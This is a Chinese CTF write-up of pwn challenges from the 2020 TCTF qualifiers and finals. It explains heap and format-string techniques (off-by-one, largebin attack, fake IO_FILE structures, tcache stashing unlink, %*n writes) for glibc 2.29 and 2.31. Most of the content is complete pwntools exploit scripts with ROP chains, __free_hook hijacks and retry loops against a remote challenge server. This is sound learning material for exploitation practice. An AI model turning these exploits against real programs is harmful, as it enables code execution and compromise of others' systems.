2020 TCTF预选赛和决赛部分PWN题复盘

Summary

Duet:沙箱+off by one 2.29:

思路一:利用off by one进行overlapping,构造A可以改写B的header,最终目标是UAF泄露出libc和heap base,以及largebin attack攻击。伪造io file调用io_str_oveflow中的malloc和free函数。来劫持free_hook,执行ORW读取flag

思路二:利用tcache stashing unlink修改global_max_fast使用fastbin attack,为造出fake chunk和fake list,令其可以分配到main_arena上。free_hook-0xb68有0x100可作为suze,将top chunk改到这里,伪造一个fake top chunk size,通过几次分配劫持到free_hook,布置好rop利用rdi进行迁移栈。

simple_server:非栈上的格式化字符串,不用泄露,劫持ebp链,令其leave ret的时候返回到指定的rsp位置,该位置提前用%*n读出libc地址,再第四位写入one_gadget来getshell。

babyheap: 2.31 off by null,通过largebin和fastbin残留的heap地址来修改后一位,绕过unlink判断,劫持hook。

初赛-Duet

查看文件

保护全开,同时开启沙箱

IDA分析

拖到IDA发现PLT表损坏,导致函数不能正常识别,借鉴了LYYL师傅的恢复办法一种修复IDA在分析Binary文件时出现的PLT表损坏报错的方法

恢复之后就好逆多了:
四个功能:create、show、edit、delete。只能存储两个堆块指针,限制分配0x80~0x400大小的size并且只能用calloc。只能使用一次edit,off by one:

思路

通过学习师傅们的WP得知这道题目有两个思路:

思路一:通过FSOP

1.利用off by one进行overlapping,构造A可以改写B的header,最终目标是UAF泄露出libc和heap base,以及largebin attack攻击。

这里需要讲讲largebin attack攻击:2.29下有tcache机制也就和原来的触发largebin attack的分配策略不一样了。大致是chunk A在largebin中,此时chunk B(>A)在unsorted bin中,此时malloc一个大于fastbin的chunk时就会进行chunk归类,将B归入largebin,而不是像以前必须malloc大于B的chunk。还有一点是bk_size+0x20 = 释放进largebin chunk的头部地址。

2.largebin attack的目标是将io_list_all或stderr->chain改为heap地址(fake io
file)。注意到2.29中虚函数基本都改为调用某个函数,之前也了解过,导致难以直接劫持控制流,我们注意到IO_str_overflow函数中有malloc和free,详细看看里面的参数其实是可以控制的。

要注意这么几个绕过条件:
首先是调用vtable+0x18处虚函数的条件:(还需注意一点vtable需要改一下)

1. (fp->mode<=0&&fp->write_ptr>fp->write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))

其次是malloc和free的条件:

(fp->_flags & _IO_NO_WRITES) == FALSE
(fp->_IO_write_ptr - fp->_IO_write_base) > (fp)->_IO_buf_end - (fp)->_IO_buf_base
fp->_IO_buf_base != NULL

我们之前通过overlapping将0x310 tcache链的fd改为,free_hook,大致是(A->B->free_hook)
所以这里我们只要精心构造fake io结构体,令malloc的参数为0x300就可以分配tcache的0x310的chunk。同时memcpy参数也可控,由于后面有free,那么就直接在chunk中伪造一个fake chunk这样才可以再后面正常释放。

由于我们需要三次才能分配到free_hook,那么就需要伪造三个io file结构体。这样进行索引的时候会调用三次io_str_overflow来进行一系列的malloc和free,最后free_hook写特殊gadgets

# 0x0000000000150550: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 

后面接着写setcontext+0x35,程序流跳入提前布置好的ORW ROP,这样就可以成功读出flag

exp

# encoding=utf-8
from pwn import *

context.update(os="linux",arch="amd64",log_level="debug")
context.terminal = ['tmux', 'split', '-h']
elf = ELF("./duet")
debug = 1
if debug:
    p = process("./duet")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0
    # io_str_jumps = libc.sym['_IO_str_jumps']

else:
    p = process(["./duet"])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0
    io_str_jumps = 0x1e6620

flag = ["琴", "瑟"]

def create(index, size, content):
    p.sendlineafter(": ", "1")
    p.sendlineafter("Instrument: ", flag[index])
    p.sendlineafter("Duration: ", str(size))
    p.sendafter("Score: ", content.ljust(size,"\x00"))

def delete(index):
    p.sendlineafter(": ", "2")
    p.sendlineafter("Instrument: ", flag[index])

def show(index):
    p.sendlineafter(": ", "3")
    p.sendlineafter("Instrument: ", flag[index])

def edit(content):
    p.sendlineafter(": ", "5")
    p.sendlineafter("合: ", str(content))

def exit():
    p.sendlineafter(": ", "6")

for i in range(7):
    create(1,0x3f8,(p64(0)+p64(0x21))*0x3f+"a"*8)
    delete(1)

for i in range(7):
    create(1,0x1e8,(p64(0)+p64(0x21))*0x1e+"a"*8)
    delete(1)
for i in range(7):
    create(0,0x88,"a"*0x88)
    delete(0)

libc_static = 0x7ffff7dce000
heap_static = 0x555555559000
create(0,0x88,"a"*0x88)
create(1,0xf8,"a"*0xf8)
delete(0)
edit(0xf1)
create(0,0x1e8,(p64(0)+p64(0x21))*0x1e+"a"*8)
delete(1)
create(1,0x128,"a"*0xf0+p64(0)+p64(0x1f1)+p64(0)*5)
show(0)
p.recv(0x35)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x00007ffff7fb2ca0+0x7ffff7dce000
success("libc address ==> "+hex(libc.address))
delete(1)
create(1,0x300,(p64(0)+p64(0x21))*0x30)
delete(1)
create(1,0x300,(p64(0)+p64(0x21))*0x30)
delete(1)
delete(0)
create(0,0xb8,"a"*0xb8)

# large bin attack and leak heap base

# leak heap addr
create(1,0x1e8,"a"*0x20+p64(0)+p64(0x401)+"a"*(0x1e8-0x30))
delete(0)
create(0,0x400,"a"*0x400)
show(1)
p.recv(0x45)
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x000055555555c190+0x555555559000
success("heap base ==> "+hex(heap_base))
delete(0)
create(0,0x3f8,(p64(0)+p64(0x21))*0x1b+p64(0)+p64(0x311)+p64(libc.sym["__free_hook"])+"a"*(0x3f8-0x1b0-0x18))
delete(0)

# large bin attack
create(0,0x400,"a"*0x400)
delete(1)
for i in range(6):
    create(1,0x400,"a")
    delete(1)
create(1,0x1e8,p64(0)*5+p64(0x401)+p64(libc.address-libc_static+0x00007ffff7fb3090)*2+p64(heap_base-heap_static+0x000055555555c190)+p64(libc.address-libc_static+0x7ffff7fb36e8-0x20)) # largebin attack modify stderr->chain
delete(1)

pop_rdi = 0x0000000000026542 + libc.address
pop_rdx = 0x000000000012bda6 + libc.address
pop_rax = 0x0000000000047cf8 + libc.address
pop_rsi = 0x0000000000026f9e + libc.address
pop_rsp = 0x0000000000030e4e + libc.address
syscall = 0x00000000000cf6c5 + libc.address
p_rbx_rbp_j_rcx_r = 0x1456f4 + libc.address

flag_addr = 0x55555555d130+heap_base-heap_static
flag_heap = heap_base+0x1000
rop_orw = flat([flag_addr,pop_rax,2,pop_rsi,0,pop_rdx,0,syscall,     # open
            pop_rdi,3,pop_rax,0,pop_rsi,flag_heap,pop_rdx,0x20,syscall,  # read
            pop_rdi,1,pop_rax,1,pop_rsi,flag_heap,pop_rdx,0x20,syscall]) # write

# new_buf = malloc (new_size); // new_size = 2 * old_blen + 100
# memcpy (new_buf, old_buf, old_blen); // old_buf = fp->_IO_buf_base, old_blen=(fp)->_IO_buf_end - (fp)->_IO_buf_base
# free (old_buf); _IO_buf_base
fake_file0_buf_base = 0x55555555ce70-heap_static+heap_base
fake_file0_buf_end = (0x300-100)/2+0x55555555ce70-heap_static+heap_base
fake_file0_chain = 0x55555555ce80-heap_static+heap_base
fake_file0 = p64(0)*4+p64(0) + p64(fake_file0_buf_base)+p64(fake_file0_buf_end) # write_end , buf_base, buf_end
fake_file0+= p64(0)*4+p64(fake_file0_chain) # chain
fake_file0+= p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff7fb5570+libc.address-libc_static)
fake_file0+= p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff7fb2780+libc.address-libc_static)
fake_file0+= p64(0)*6+p64(0x7ffff7fb4620-libc_static+libc.address)
fake_file0_old_io_buf = (p64(0)+p64(0x21))*2


fake_file1_buf_base = 0x55555555cf70-heap_static+heap_base 
fake_file1_buf_end = (0x300-100)/2+0x55555555cf70-heap_static+heap_base # 因为我们需要算出对应的offset,满足0x300的chunk分配
fake_file1_chain = 0x55555555cf80-heap_static+heap_base # 下一个io file的首地址
fake_file1 = p64(0)+p64(0x411)+p64(0x000055555555c190-heap_static+heap_base)+p64(0x00007ffff7fb2890-libc_static+libc.address)+p64(0x000055555555c670-heap_static+heap_base)+p64(0x00007ffff7fb36c8+libc.address-libc_static) # flag为0就可以绕过所有关于它的判断
fake_file1+= p64(0) + p64(fake_file1_buf_base)+p64(fake_file1_buf_end) # write_end , buf_base, buf_end
fake_file1+= p64(0)*4+p64(fake_file1_chain) # chain
fake_file1+= p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff7fb5570+libc.address-libc_static)
fake_file1+= p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff7fb2780+libc.address-libc_static)
fake_file1+= p64(0)*6+p64(0x7ffff7fb4620-libc_static+libc.address) # vtable
fake_file1_old_io_buf = (p64(0)+p64(0x21))*2 # fake chunk,也就是io_buf_base的地址

fake_file2_buf_base = 0x55555555d070-heap_static+heap_base
fake_file2_buf_end = (0x300-100)/2+0x55555555d070-heap_static+heap_base
fake_file2_chain = 0x55555555cf80-heap_static+heap_base
fake_file2 = p64(0)+p64(0x411)+p64(0x000055555555c190-heap_static+heap_base)+p64(0x00007ffff7fb2890-libc_static+libc.address)+p64(0x000055555555c670-heap_static+heap_base)+p64(0x00007ffff7fb36c8+libc.address-libc_static)
fake_file2+= p64(0) + p64(fake_file2_buf_base)+p64(fake_file2_buf_end) # write_end , buf_base, buf_end
fake_file2+= p64(0)*4+p64(fake_file1_chain) # chain
fake_file2+= p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff7fb5570+libc.address-libc_static)
fake_file2+= p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff7fb2780+libc.address-libc_static)
fake_file2+= p64(0)*6+p64(0x7ffff7fb4620-libc_static+libc.address)

# 0x0000000000150550: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
fake_file2_old_io_buf = p64(0)+p64(0x21)+p64(libc.address+0x0000000000150550) # setcontext+0x35

setcontext_addr = 0x7ffff7e23e35+libc.address-libc_static
rop = p64(0x55555555d080-heap_static+heap_base)+p64(0)*4+p64(setcontext_addr)+"\x11"*0x78+p64(0x55555555c1c0-heap_static+heap_base)+p64(pop_rdi)

payload = fake_file0 + fake_file0_old_io_buf + fake_file1 + fake_file1_old_io_buf + fake_file2 + fake_file2_old_io_buf + rop + "./flag\x00\x00"

# create 4 fake file, io_str_overflow 3 times
delete(0)
create(0,0x400,payload)
delete(0)
create(1,0x1a0,p64(0)*5+p64(0x401)+p64(libc.address-libc_static+0x00007ffff7fb3090)*2+p64(heap_base-heap_static+0x000055555555c190)+p64(libc.address-libc_static+0x7ffff7fb37e8-0x18)+rop_orw) # largebin attack modify stderr->chain
exit()
p.interactive()

思路二

利用tcache stashing unlink修改global_max_fast使用fastbin attack,为造出fake chunk和fake list,令其可以分配到main_arena上。
free_hook-0xb68有0x100可作为suze,将top chunk改到这里,伪造一个fake top chunk size,通过几次分配劫持到free_hook,布置好rop利用rdi进行迁移栈。

exp

#!/usr/bin/python
#coding=utf-8
from pwn import *

context.terminal = ['tmux','split','-h']
context.log_level = "debug"

qin = 0xb490e7
se = 0x9f91e7

debug=1

if debug:
    p = process("./duet")

def Gong(ind, size, content = ''):
    # Add
    assert ind == 0 or ind == 1
    p.sendlineafter(": ", "1")
    if ind == 0:
        p.sendlineafter("Instrument: ", p32(0xb490e7))
    else:
        p.sendlineafter("Instrument: ", p32(0x9f91e7))
    assert 0x7f < size <= 0x400
    p.sendlineafter("Duration: ", str(size))
    p.sendafter("Score: ", content.ljust(size,'\x00'))

def Shang(ind):
    # Free
    assert ind == 0 or ind == 1
    p.sendlineafter(": ", "2")
    if ind == 0:
        p.sendlineafter("Instrument: ", p32(0xb490e7))
    else:
        p.sendlineafter("Instrument: ", p32(0x9f91e7))

def Jue(ind):
    # Show (write)
    assert ind == 0 or ind == 1
    p.sendlineafter(": ", "3")
    if ind == 0:
        p.sendlineafter("Instrument: ", p32(0xb490e7))
    else:
        p.sendlineafter("Instrument: ", p32(0x9f91e7))

def Zhi(byte):
    # calloc(0x88uLL, 1uLL) off-one-byte
    p.sendlineafter(": ", "5")
    assert 0 < byte < 256
    p.sendline(str(byte))

fake_size = 0xe0
broken_chunk = 0x1f0
pad_chunk = 0x240
#gdb.attach(p,'c')
#pause()
for i in range(7):
    Gong(0,broken_chunk)
    Shang(0)
for i in range(7):
    Gong(0,broken_chunk + fake_size + 0x10)
    Shang(0)
for i in range(7):
    Gong(0,0x1b0)
    Shang(0)
for i in range(7):
    Gong(0, 0xf0)
    Shang(0)  
for i in range(6):
    Gong(0, 0x90)
    Shang(0)   
for i in range(6):
    Gong(0, 0x80)
    Shang(0)   
for i in range(7):
    Gong(0, pad_chunk)
    Shang(0)      
for i in range(7):
    Gong(0,0x100)
    Shang(0)

Gong(0,0x1b0)
Gong(1,0x80)
Shang(0)
Shang(1)
Gong(0,0x1b0-0xa0) # 0xa0 unsortedbin
Shang(0)
Gong(0,0x1b0)
Gong(1,broken_chunk)
Shang(0)
Gong(0,0x1b0-0x90) # 0x90 unsortedbin
Shang(0)
Gong(0,broken_chunk,p64(0)*(fake_size / 8 + 1) + p64(broken_chunk - fake_size + 1))
Zhi(fake_size + 0x11)
Shang(1)

Gong(1, 0x3f0,'\x00'*0x48 + p64(0x401-0x50))
Shang(1)
Gong(1,pad_chunk,'\x00'*0x1f8 + p64(0x201))
Shang(0)
Jue(1)
p.recvuntil(": ")
p.recvn(0x200)
heap = u64(p.recv(8))
main_arena = u64(p.recv(8))
main_arena -= 96
libc_base = main_arena - 0x10 - 0x1E4C30
global_max_fast = libc_base + 0x1e7600
free_hook = libc_base + 0x1E75A8
initial = free_hook - 0xb68
log.info('heap : %s' % hex(heap))
log.info('libc_base : %s' % hex(libc_base))
log.info('main_arena : %s' % hex(main_arena))
log.info('global_max_fast : %s' % hex(global_max_fast))
log.info('free_hook : %s' % hex(free_hook))
payload = '\x00'*0x48+p64(0xa1)+ p64(heap-1344)+p64(global_max_fast -0x10) # fake 0xa0 small chunk
payload += '\x00'*0x80 + p64(0xa0) +p64(0x110)
Gong(0, 0xf0, payload)  
Shang(0)
Gong(0, 0x90)
log.info('global_max_fast changed') 
Shang(0)
Shang(1)

payload = '\x00'*0x1f8 + p64(0xe1)
Gong(1,0x248,payload)
Shang(1)
payload = '\x00'*0x48 + p64(0x201)
Gong(0,0xd0,payload)
payload = p64(0) + p64(0x201) + p64(0) + p64(0x191) + p64(0) + p64(0x181) + p64(0) + p64(0x171) + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141)
payload += p64(0) + p64(0x131) + p64(0) + p64(0x121) + p64(0) + p64(0x111) + p64(0) + p64(0x101) + p64(0) + p64(0xf1)
Gong(1,0x1f0,payload.rjust(0xf0,'\x00'))
Shang(1)
payload = '\x00'*0x1f8 + p64(0x91)
Gong(1,0x248,payload)
Shang(1)
Shang(0)
payload = '\x00'*0x1f8 + p64(0x91) + p64(0x111)
Gong(1,0x248,payload)
Shang(1)
Gong(0,0x80, '\x00'*0x48 + p64(0x81))
payload = '\x00'*0x1f8 + p64(0x111)
Gong(1,0x248,payload)
Shang(1)
Shang(0)

payload = '\x00'*0x1f8 + p64(0x111) + p64(main_arena + 64)
Gong(0,0x248,payload)
Gong(1,0x100, '\x00'*0x48 + p64(0x201) + '\x00'*0x70 + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141) + p64(0) + p64(0x131))
Shang(0)
payload = '\x00'*0x1f8 + p64(0xe1)
Gong(0,0x248,payload)
Shang(0)
Shang(1)

gdb.attach(p)
top_chunk = initial + 0x10

payload = '\x00'*0x10 + p64(top_chunk) + '\x00'*0xc8 + p64(main_arena + 304) + p64(304*2 + 1)
Gong(0,0x100,payload)

payload = '\x00'*0x18 + p64(0x21)
Gong(1,304*2-0x10,payload)
Shang(0)

pad = main_arena + 0x60

payload = p64(pad)*2 + p64(top_chunk) + p64(pad)*3 + p64(free_hook-0xb68-1) + p64(pad)*22 + p64(0x21)
Gong(0,0x100,payload)
Shang(0)
Shang(1)

pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x000000000010CF7F
flag = free_hook + 8
read_addr = libc_base + 0x10CF70
write_addr = libc_base + 0x10D010
ropchain = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(4) + p64(pop_rax) + p64(2) + p64(syscall)
ropchain += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x20) + p64(read_addr)
ropchain += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x20) + p64(write_addr)

Gong(0,0xf8,'\x00' + p64(0) + p64(0x21001))
payload = p64(pad)*2 + p64(top_chunk) + p64(pad)*3
Gong(1,0x100,payload)
Shang(1)
Gong(1,0x400,'aaaaaaaa')
Shang(1)
Gong(1,0x400,'aaaaaaaa')
Shang(1)
setcontext = libc_base + 0x55E35
tar = free_hook - 0x328
rdx = tar + 0xe0-0xa0 -8
tar_rsp = tar + 0xe0
io_wfile_sync = 0x89460 + libc_base
payload = p64(0) + p64(1) + p64(2) + p64(rdx)*4 + '\x00'*0x60 + p64(tar+0xb0) # 0xa0
payload += p64(tar) + p64(0) # 0xb0
payload += '\x00'*0x20 + p64(setcontext) + p64(tar_rsp + 8) #0xe0
payload += ropchain
payload = payload.ljust(0x328,'\x00') + p64(io_wfile_sync) + './flag\x00'
Gong(1,0x400,payload)
Shang(1)
p.interactive()

初赛-simple_server

查看文件

保护全开

IDA分析

格式化字符串漏洞 远程环境的stderr被重定向到了/dev/null,因此远程无法泄露地址,虽然本地可以。 ## 思路

定位到格式化漏洞函数前的栈布局

我们看到dc50->dd70->dd90这一串RBP链。 利用这个rbp链通过两次leave ret来进行栈迁移,修改修改后的值为rsp,这样如果在对应的rsp上布置了one_gadget,那么就可以直接getshell了。
同时注意到这里,如果输入的number长度为0x18,那么dce8就会指向dd08,dd08指向libc地址。 这样就找到了格式化字符串修改链了。

新姿势:
可以从栈里取一个libc的地址作为宽度然后接上一个常数宽度的格式化串,实现libc地址+固定偏移,然后利用”%n”写回栈里,这样就无需泄露地址了。

比如{}c%*30$c%26$n,意思就是从30处读取4个字节作为参数,写到我们需要的位置,例如:

箭头被指向是我们想修改的地方,此时我们会将30位置处后四位0xf7a72400作为参数传递进26位置,{}中再写入后四bit的值来进行修改。如果我们正常写则需要多爆破三位的libc地址。

读出来是f7dcfa00,我们要写入f7dfffff需要改后五位为0xfffff,则就可以

{}c%*30$c%26$n.format(0xfffff),就避免前面三个bit的爆破,以及减少输出字节数

栈迁移需要爆破栈地址半个字节,1/16概率;”*” + “%n” 方法需要 libc 低4个字节位于signed int的正数范围内,1/2 概率

爆破成功要求:

1.由于printf输出长度最高0x7fffffff,所以我们需要libc后四位小于0x7fffffff 概率1/2

0x7fffffff

2.爆破最后一位stack地址,概率1/16

大概1/32

exp

#coding=utf-8

from pwn import *

context.update(os="linux",arch="amd64",log_level="debug")
context.terminal = ['tmux','split','-h']

p = process("./simple_echoserver")
elf = ELF("./simple_echoserver")

one_gadget = 0xe58c3

# format_string = "%{}c%7$hhn".format(0x58-0xd,)

# format_string = "%{}c%*30$c%26$n".format(0x7fdb135d6000 + one_gadget - 0x7fdb13664400 - 0x50)

def exp():
    format_string = "%{}c%7$hhn%{}c%*30$c%26$n".format(0x28-0xd-8,one_gadget+0x7fe3e7298000-0x7fe3e7326400-0x10-0xdb+0xc3+8)
    #%357715c%*30$c%26$n
    # gdb.attach(p,"b fprintf")
    gdb.attach(p)
    p.sendlineafter("name: ",format_string)
    p.sendlineafter("phone: ","1"*0x18)
    p.sendlineafter("yourself!\n","~.")
    p.sendline("cat flag")

while True:
    try:
        exp()
        p.interactive()
        p.close()
    except:
        p.close()
    if debug:
        p = process("./simple_echoserver")
    else:
        p = process("./simple_echoserver")

决赛-babyheap

思路

2.31的off by null,利用largebin删除产生的chunk地址,以及fastbin删除产生的chunk地址来进行修改伪造,绕过合并时的unlink检查,以及伪造size位绕过pre_size的检查:(检查和2.29一致)

exp

#coding=utf-8
from pwn import *
debug = 0
context.terminal = ['tmux','split','-h']
context.log_level = "info"

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
itv     = lambda                    :p.interactive()

if debug:
    # p = process("./babyheap")
    p = process('./babyheap',env={'LD_PRELOAD':'./libc.so.6'})
    elf = ELF("./babyheap")
    libc = ELF("./libc.so.6")
else:
    p = remote("chall.0ops.sjtu.edu.cn",2004)
    elf = ELF("./babyheap")
    libc = ELF("./libc.so.6")

def create(size):
    sla("Command: ","1")
    sla("Size: ",str(size))

def edit(index,size,content):
    sla("Command: ","2")
    sla("Index: ",str(index))
    sla("Size: ",str(size))
    sa("Content: ",content)

def delete(index):
    sla("Command: ","3")
    sla("Index: ",str(index))

def show(index):
    sla("Command: ","4")
    sla("Index: ",str(index))

def exp():
    create(0x520) # 0
    create(0x5f8) # 1
    delete(0)
    create(0x600) # 0
    create(0x28) # 2
    edit(2,0x11,p64(0)+p64(0x521)+"\x88")
    for i in range(8): # create 3~10
        create(0x28)
    for i in range(7): # delete 4~10
        delete(4+i)
    delete(3)          # delete 3
    delete(2)          # delete 2
    for i in range(7): # create 2 3 4 5 6 7 8
        create(0x28)
    create(0x28)       # create 9
    edit(9,1,"\xa0")
    create(0x378)      # create 10
    edit(10,0x378,"a"*0x370+p64(0x520))
    #create(0x28)       # create 11
    #edit(11,9,p64(0)+"\xa0")
    # gdb.attach(p)
    delete(1)
    create(0x40) # 1
    show(8)
    p.recv(10)
    libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x00007ffff7fb0be0+0x7ffff7dc5000
    success("libc address ==> "+hex(libc.address))
    delete(3)
    delete(4)
    delete(7)
    create(0x70) # 8
    edit(3,0x38,"a"*0x20+p64(0)+p64(0x31)+p64(libc.sym["__free_hook"]))
    create(0x28) # 3
    edit(3,8,"/bin/sh\x00")
    create(0x28) # 12
    edit(7,8,p64(libc.sym['system']))
    delete(3)

while True:
    try:
        exp()
        p.sendline("cat /flag*")
        p.interactive()
        p.close()
    except:
        p.close()
    if debug:
        p = process('./babyheap',env={'LD_PRELOAD':'./libc.so.6'})
        elf = ELF("./babyheap")
        libc = ELF("./libc.so.6")
    else:
        p = remote("chall.0ops.sjtu.edu.cn",2004)
        elf = ELF("./babyheap")
        libc = ELF("./libc.so.6")

 Previous
解释器类题目总结(一) 解释器类题目总结(一)
1.前言参考ERROR404师傅来对解释器类题目进行一个总结,整理题目如下: Pwnable_bf:此题是利用了brainfuck本身的特性以及题目没有对GOT进行保护导致我们可以便捷的进行利用。 2020 RCTF bf:此题是因为解释
2020-10-29
Next 
2019 RoarCTF部分PWN题解 2019 RoarCTF部分PWN题解
0x00 Summaryeasyrop:栈溢出,绕过沙箱ORWeayheap:double free进行劫持hookeaay_pwn:利用off by one的方式进行overlapping,控制小chunk先进行泄露libcbase,再进
2020-10-27
  TOC